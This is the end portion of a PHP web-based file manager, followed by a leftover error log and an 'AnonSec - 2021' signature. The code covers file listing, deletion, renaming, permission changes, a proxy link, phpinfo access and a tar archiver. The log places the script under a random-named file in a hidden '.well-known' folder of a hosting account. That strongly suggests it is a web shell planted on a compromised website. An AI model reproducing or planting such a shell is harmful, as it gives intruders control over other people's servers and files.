		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>i9bjpm/error_log000064400000002276151032667100007663 0ustar00[27-Oct-2025 03:45:36 UTC] PHP Notice:  Undefined variable: authorization in /home/gettoplisting/public_html/.well-known__3f5a2a4/i9bjpm/pb8ai.php on line 28
[27-Oct-2025 03:45:36 UTC] PHP Notice:  Undefined variable: translation in /home/gettoplisting/public_html/.well-known__3f5a2a4/i9bjpm/pb8ai.php on line 89
[27-Oct-2025 03:45:36 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/en.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/gettoplisting/public_html/.well-known__3f5a2a4/i9bjpm/pb8ai.php on line 91
[06-Nov-2025 08:46:03 UTC] PHP Notice:  Undefined variable: authorization in /home/gettoplisting/public_html/.well-known__3f5a2a4/i9bjpm/pb8ai.php on line 28
[06-Nov-2025 08:46:03 UTC] PHP Notice:  Undefined variable: translation in /home/gettoplisting/public_html/.well-known__3f5a2a4/i9bjpm/pb8ai.php on line 89
[06-Nov-2025 08:46:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/gettoplisting/public_html/.well-known__3f5a2a4/i9bjpm/pb8ai.php on line 91

AnonSec - 2021